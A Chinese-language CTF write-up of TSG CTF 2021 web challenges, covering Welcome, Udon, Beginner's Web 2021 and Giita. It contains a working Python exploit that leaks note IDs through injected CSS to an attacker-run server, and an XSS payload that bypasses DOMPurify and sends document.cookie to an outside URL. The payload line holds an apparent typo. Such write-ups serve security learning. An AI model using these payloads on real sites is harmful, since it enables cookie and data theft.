https://score.ctf.tsg.ne.jp/challenges | https://ctftime.org/event/1431/tasks/
Web/Welcome to TSG CTF!
We want to welcome you, seriously.
抓包后发现我们输入的值是post的json中的key部分而不是value,很奇怪
给了源码,看下app.js
11行有个比较,要通过它,可以把body置空访问(用burp的话要改一下Content-Type,默认的application/json是不能置空的),typeof null === 'object'
$ curl "http://34.84.69.72:34705/" -X POST
{"statusCode":500,"error":"Internal Server Error","message":"Cannot read property 'TSGCTF{M4king_We6_ch4l1en9e_i5_1ik3_playing_Jenga}' of null"}
flag会在报错中出现!
TSGCTF{M4king_We6_ch4l1en9e_i5_1ik3_playing_Jenga}
Web/Udon
Ta-dah! Here comes udon!
Udon Note,一眼xss之类的
我们发出去的note中的尖括号会被转义为实体字符,Reset会清空cookie,连带着消失之前发布过的Note
有Tell Admin About This Udon Note的选项
————没什么想法 以下是平淡的复现过程
看源码,main.go
我们需要找到那个特殊的notes_id
接着往下看
http的相应头可以泄露一些信息,这里是入手点
仅在Firefox中有一个Link
请求头,几乎等同于HTML中的<link>
标签
Link: </foo.css>; rel="stylesheet"; type="text/css"
<link rel="stylesheet" href="/foo.css">
我们可以向app中的任意一页注入任意的css
同时也有需要Bypass的地方,比如这里的CSP策略style-src 'self'
我们可以先创建一个带有恶意css的note,再将这个note的链接放入Link
请求头中
http://ip:port/?k=Link&v=%3C%2F(<URL of a note with styles to inject>)%3E%3B%20rel%3D%22stylesheet%22%3B%20type%3D%22text%2Fcss%22
# exp.py
from flask import Flask, request
import requests
import urllib.parse
import string
TARGET_BASE = "http://localhost:8080"
LEAK_LENGTH = 10
CHAR_CANDIDATES = string.ascii_letters + string.digits
EXPLOIT_BASE_ADDR = "http://host.docker.internal:1337"
app = Flask(__name__)
s = requests.Session()
def build_payload(prefix: str, candidates: "List[str]"):
global EXPLOIT_BASE_ADDR
assert EXPLOIT_BASE_ADDR != "", "EXPLOIT_BASE_ADDR is not set"
payload = "{}"
for candidate in candidates:
id_prefix_to_try = prefix + candidate
matcher = ''.join(map(lambda x: '\\' + hex(ord(x))
[2:], '/notes/' + id_prefix_to_try))
payload += "a[href^=" + matcher + \
"] { background-image: url(" + EXPLOIT_BASE_ADDR + \
"/leak?q=" + urllib.parse.quote(id_prefix_to_try) + "); }"
return payload
def post_note(title: str, description: str) -> str:
r = s.post(TARGET_BASE + "/notes", data={
"title": title,
"description": description,
}, headers={
"content-type": "application/x-www-form-urlencoded"
}, allow_redirects=False)
assert r.status_code == 302, "invalid status code: {}".format(
r.status_code)
return r.headers['Location'].split('/notes/')[-1]
def report_note_as_stylesheet(id: str) -> None:
header_value = '</notes/{}>; rel="stylesheet"; type="text/css"'.format(id)
r = s.post(TARGET_BASE + "/tell", data={
"path": "/?k=Link&v={}".format(urllib.parse.quote(header_value)),
}, allow_redirects=False)
assert r.status_code == 302, "invalid status code: {}".format(
r.status_code)
return None
@app.route("/start")
def start():
p = build_payload("", CHAR_CANDIDATES)
exploit_id = post_note("exploit", p)
report_note_as_stylesheet(exploit_id)
print("[info]: started exploit with a new note: {}/notes/{}".format(TARGET_BASE, exploit_id))
return ""
@app.route("/leak")
def leak():
leaked_id = request.args.get('q')
if len(leaked_id) == LEAK_LENGTH:
print("[+] leaked (full ID): {}".format(leaked_id))
r = s.get(TARGET_BASE + "/notes/" + leaked_id)
print(r.text)
else:
print("[info] leaked: {}{}".format(
leaked_id, "*" * (LEAK_LENGTH - len(leaked_id))))
p = build_payload(leaked_id, CHAR_CANDIDATES)
exploit_id = post_note("exploit", p)
report_note_as_stylesheet(exploit_id)
print("[info]: invoked crawler with a new note: " + exploit_id)
return ""
if __name__ == "__main__":
print("[info] running app ...")
app.run(host="0.0.0.0", port=1337)
详细内容参见->wp
Web/Beginner’s Web 2021
Made drunk, so solved drunk.
给了源码,看下index.js,emmmmmm,创建了session.routes
但是flag并不会在最后渲染的route中出现
所以我们想利用GetSalt处的session.salt='flag'
来转到flag的路由上来获得flag
但是[salt]会导致重写flag,所以我们想要的session是这样的状态
session = {
routes: {
flag: ...,
index: ...,
...
[salt]: ..., // salt is anything different from 'flag'
},
salt: 'flag',
}
首先用GET /?action=SetSalt&data=flag
来让salt='flag'
,session会变成这样
session = {
route: {
flag: ..., // this route is overwritten and not accessible
index: ...,
...
flag: ..., // here is salt
},
salt: 'flag',
}
我们想回复到route只有一个flag并且可达的状态,但是又不想删除掉salt: 'flag'
关键之处在于set_salt
,它想完成的任务是一起更新routes和salt的值
set_salt: async (salt) => {
session.routes = await setRoutes(session, salt);
session.salt = salt;
return 'ok';
}
第二行中,我们要await setRoutes
,相当于
set_salt: (salt) => {
return setRoutes(session, salt).then((result) => {
session.routes = result;
session.salt = salt;
return 'ok';
});
}
这里会要到一个setRoutes的返回值result
const setRoutes = async (session, salt) => {
const index = await fs.readFile('index.html');
session.routes = {
// redacted
[salt]: () => salt,
};
return session.routes;
};
很没必要的操作,又一遍setRoutes,纯属脱裤子放屁
当我们设置salt = 'then'
时,情况就不一样了
{
//redacted
then: () => salt,
}
这个特殊的then关键字一出来,就很特殊,解释器会试图把它认作是await中要调用的then的部分,但是并没有await需要它这个then执行的result来作为返回值,就卡死在这里了,这个salt无处可去
So,GET /?action=SetSalt&data=then
之后session将是这样的
session = {
routes: {
flag: ...,
index: ...,
...
then: ...,
},
salt: 'flag',
}
只要GET /?action=GetSalt
即可,因为
return session.routes[route](data); // route = session.salt here (just flag)
具体操作一张动图就能说清楚
最后,这个**的东西学名叫Thenable Object,谢谢你,javascript😅
参考:wp
Web/Giita
Gibson Les Paul Standard.
Steal Cookie.
😭😭😭又是cookie
看源码,app.js
11行的正则匹配了空格、字母、数字、下划线,但是多余了一个.
会把theme放进去进行一个过滤
然后拼接到stylesheet link中,就再没有什么过滤了
我们可以注入到href这里,比如
<!-- theme=x%20onerror%3Dalert -->
<link rel="stylesheet" href=x onerror=alert>
要完整的注入js代码,我们需要cheat DOMPurify
DOMPurify会先检测对象在不在DOMPurify.isSupported
的范围内
所以呢,我们把它给关咯
delete document.implementation.__proto__.createHTMLDocument
最后的Payload,U+00A0(NBSP)不在html的空白符中,但是在Javascript的空白符中
axios({
method: 'post',
url: `http://${host}:${port}/`,
headers: {
'content-type': 'application/x-www-form-urlencoded',
},
data: qs.encode({
theme: 'x onerror=delete\xA0document.implemenation__proto__.createHTMLDocument',
title: 'x',
body: `<img src="x" onerror="location.href"='${url}?' + document.cookie>`,
}),
});
完整参见->wp
就是菜 不会做 勉强看看wp 还不一定看得懂
铁废物了😅